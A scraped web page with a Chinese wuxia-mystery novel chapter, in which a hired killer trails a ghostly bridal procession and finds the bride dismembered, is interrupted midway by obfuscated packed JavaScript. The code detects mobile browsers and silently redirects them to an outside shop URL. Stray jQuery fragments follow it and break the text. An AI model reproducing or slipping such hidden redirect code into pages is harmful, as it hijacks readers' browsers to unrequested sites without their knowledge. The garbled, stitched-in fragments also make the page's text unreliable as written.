覃府?
薛魇闷头左右找了找,一声鸟叫吸引了他,猛然抬头才体会到什么叫“得来全不费工夫”。
出嫁的盲女?
他往荒叶遍地的府内看了看,总不至于是棺材里的那具不完整女尸吧?薛魇故作轻松调侃了一句,握紧刀,面容沉重地转身离开。
程楚鱼死状凄惨,他尽力不去想这件事。
饮酒无度的往后十四日,薛魇清闲自在地流连于酒肆,凶神恶煞地立刀在桌案上,只允许上酒的小二靠近。
反正他喝了多少都会付钱,掌柜的便也识趣地没有去触这恶鬼的霉头。
第十五日,薛魇从一堆东倒西歪的空酒坛中间醒来,扶着欲裂开般疼痛的脑袋,甩走眼中模糊的画面。
照例问:“小二,今日是我来的第几日了?”
习惯了的小二赶忙赔着笑跑近,“第十五日了,客官。”
“第十五日。”薛魇喃喃重复了一遍,眼刀飞到点头哈腰的小二身上。
摸出银钱,拍在桌案,震动几个酒坛骨碌碌滚落。
小二来不及反应,眼睁睁瞧着一地碎片狼藉发生,瞬间一个头两个大,但不敢有丝毫愠色表现。
“拿走!”就听见这疯疯癫癫的客官大喊。
瞧他摇摇晃晃站起身,终于是把他那把怵人的刀给拔走了。
踏出酒肆门框,呼吸到一口清新冰冽的空气,薛魇伸了个懒腰,足够餍足。
如约朝破败的覃府走去,他倒是也好奇,能有什么出嫁喜事?
*
所谓的覃府,依旧十五日前的那一面。
冬风吹彻,雪化尽。
门前一株歪脖子树光溜溜,绑了许多可疑的红飘带。
薛魇再次踏入被蛀烂的门槛,忽而近处某地爆发出一阵鞭炮的激烈声,吓得他顿时酒醒。
前后左右庭院荒凉如许,可声音却又十分靠近,他跃上高处屋瓦,瞧见一顶大红轿子被簇拥着而出。
隔着弯弯绕绕的院墙,一股意识到被耍的不悦流过他眉心。
打穿所谓后院的墙,又是处新的宅子。
俯瞰下,格局在他视线里无一遗漏。
“覃府出嫁盲女……”揣摩着这几个字,咂吧出了点新的滋味,“那才是真正的覃府?”
悄悄冒出了一点点想程楚鱼的心思,“如果她在,这个骗局大概起不了什么用。”
懒懒散散地翻下屋檐,行动不急不慢,只方才两眼,薛魇就已摸清了覃府的把戏,喜轿去往的大致方向也心中有数。
一路从容尾随在寂静无声的红轿子后,眼瞥过散落一地的冥钱黄纸,逐渐往又荒又深的山窝窝里去。
那些随侍左右的婢女像纸人,妆容怪异夸张,步履轻盈如飞,一个个大抵都学过些护身武功。
阳光和煦,冬雪覆盖过的万物浸得湿答答,折断一截枯枝,他随手丢向落叶堆。
出嫁的队伍,连同新娘都仿佛一队死人。
“实在不对劲。”可对于薛魇,实在没什么可忧心的。
他依旧艺高人胆大式的跟在这支鸦雀无声的送亲队伍后,反而兴趣愈增。
深山之地荫蔽各处,冷嗖嗖的寒气丝丝透入薛魇松松垮垮的衣裳间,他藏在树干后,冷眼瞥着轿子被放下。
如纸单薄的婢女四散开,搓着手,一人淬了口静寂的轿子,“要不是她不听话,用得着我们都来吗?”
“王娘也是年纪大了,胆子越发小了,一个手无缚鸡之力的女人而已,还能翻天?”
“是啊!这天冷的。”
风依稀送来了这些对话,飘入薛魇耳朵,他看着,轿前的帘子被风吹动,轿内背着光黑黢黢,什么都看不清楚,始终没有丝毫动静。
不远处有一座同样荒败的庙宇,枯藤烂叶爬遍每片褪色的红瓦,空空的大门依稀可望见一尊陈年供奉。
供奉周身红褐,不怒而威的一副神情,阳光穿过面前错综复杂的蜘蛛丝。
轿子放下后久久没了下一步,薛魇渐渐有了些许不耐烦,太阳当空,舌头又馋起了酒,手掌慢慢挪上刀柄。
反正要杀的是出嫁盲女,女瞎子而已,杀起来更是没任何挑战。
烦的是随行喜轿的这帮有武艺的人,一个个杀起来不费力也费时。
破庙旁的茂密竹林忽而沙沙作响,惨白脸的婢女瞬间警惕,一双双眼睛都盯向同一处。
“这动静不对劲,大家小心!”迅速靠拢,包围起喜轿。
薛魇目光也投向那片竹林,五个蒙面黑衣人突然窜出,青天白日下一人一把豁口的大刀,虎视眈眈朝向警觉的婢女。
薛魇轻蔑瞧着这些个劣质兵器,松开自己的刀,饶有兴趣地观看起来。
老天顾我,正巧在头痛挨个杀麻烦,就给我送刀来了,薛魇心说。
五个不速之客没说话,彼此眼神一对,大刀在掌心一翻,锃亮的刀光映过婢女惨白的鬼脸妆容,直挺挺就冲上。
她们从腰间迅速抽出兵器。
招招夺命。
剑尖挑落竹叶纷纷,簌簌沙沙,打杀声此起彼伏。
薛魇这个局外人,漫不经心欣赏着眼前,恨不能手心抓一把瓜子磕磕。
层层叠叠的枯叶仿佛遮了太阳的光,和煦褪去,只留了荒凉。
鲜血飞溅在刀的豁口上,喷上黑衣人的面罩,婢女一个个不甘地捂着伤口倒地。
如此凌乱不堪血地里,薛魇倚靠树干,逐渐感到无聊。
风浪掀开轿前帘一角,大红喜庆的裙摆底里铃铛叮叮当当……
他想起自己的目标。
这女子怎么一点反应都没有?
难道吓晕过去了?
“你们主子是谁?是谁派你们来的!”被卸走软剑。
“别废话,安心受死吧。”黑衣人看着被重伤婢女死死握住的剑刃,恶狠狠拧动它,搅起她心口旁的肉和血。
一路抵着她,最后退无可退,剑贯穿她身体,刃划开她的手,涌出血哗啦啦地浇灌在黑衣人剑柄。
没了气息的身体被钉在喜轿木头上,黑衣人毫无怜悯,干脆利落地拔出剑,满是血滴答的尖端探上垂落的轿帘。
一颗石子猛地打在门框上,惊了黑衣人一跳,即刻抛下喜轿,持刀狐疑地看向周围。
薛魇拍拍手,不动声色看黑衣人懵懵懂懂,默默嗤笑了一声。
开什么玩笑,你动了我的目标,我报酬怎么办?
“小贼,此仇姑奶奶我来日誓报!”抓着最后一个婢女的发髻,大刀架在她脖前,黑衣人闻言停顿了一刹,又很快便眼不眨心不跳,按着她抹了脖。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556425|204013||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
热血喷洒了一手,撒开,一条生命悄无声息地消逝。
纷飞的落叶归于静寂,薛魇注视他们清算着婢女人数,似乎对喜轿没有兴趣。
“一,二,三……十五……十九,十九?”
少了个人?
那五个黑衣人显然也发现了这件事。
“老大,怎么会少了个人?”
“别吵。”为首者思考了思考,“小妮子跑不远的,去附近找找。”
余下四人得令赶快四散行动。
“等等!回来。”
刚出发了没几步,就听见他们老大的召集,瞧着老大抬头像是看到什么财宝了般,神采间藏不住的喜悦。
“破庙,定是藏在破庙里。”
黑衣人走了,风卷起血腥味吹入薛魇鼻腔,他缓缓从袖手旁观的树干后走出,跨过东倒西歪的尸体,衣摆都厌于拂过。
他走到停在血泊地中央的轿子前,头一歪弯下身,好奇地打量里面。
隔了道帘,连个人形都看不清。
直起身,抽出刀,慢慢挑起这层厚实的帘,寒风灌入狭窄的空间。
薛魇看清楚了其中景象,猛地后退几步。
青天白日,又一次见了鬼,邪门,比十五日前在覃府见到的那副棺材还邪门。
轿中竟都是些血淋淋的尸块。
新娘呢?薛魇按住烦躁的眉心,想不明白是几时活生生的人被分了尸。
岂不是算作白拿不菲报酬?这么想,他的烦躁就弱了许多。
“快,赶快!”不远处的林间忽而有人声逐渐靠近,薛魇本能地倾听判断起对方阵仗。
步伐重重叠叠的,不少。
很快就露了庐山真面目,薛魇抬眸看向一身官服的打头之人,一时没想好编什么身份搪塞,于是就现了最真实的凶和冷漠。
“什么人?”官老爷旁的随从果断拔剑,挡到所有人前方,恪尽职守,阻拦危险。
“我是……农户。”话虽如此,也只有话是如此。
“你的兵器,为何尖有血?”官老爷指手画脚,惹得薛魇脾气越来越不耐烦。
八成是挑轿帘时蹭上的。
“还不老实回答!”
薛魇不想多言废话,往侧边迈开两步,露出了方才那几个黑衣人边清点、边敛到一块的婢女尸体群。
“是你!”官老爷似乎气得手发抖。
随从大着胆子,走到沉寂的喜轿前,看薛魇神情就能猜测出,里面一定出了事。
究竟是什么事?
“啊!”随从惊惧踉跄开,“新娘死了还被分尸,甚至还没有中间部位!”
薛魇闻言,调转目光,深深地落在人模狗样的随从面目。
饶是自己匆匆一面,尚且没看见具体死状,怎么比自己还差很多的无名小卒,只消一眼就能看明白?
有鬼?
莫非他们急于将罪名安在我头上?薛魇始终不解。
忽然冒出的高昂酬金,眼皮底下离奇死亡的新娘,官府浩荡现身荒郊野岭……这一桩桩、一件件,很难不怀疑不是个针对他的局。
反正百口莫辩。
他也懒得辩。
摸上刀柄,正要拔出,不远处的破庙里突然传出女子的呼救。
那声音,无比熟悉。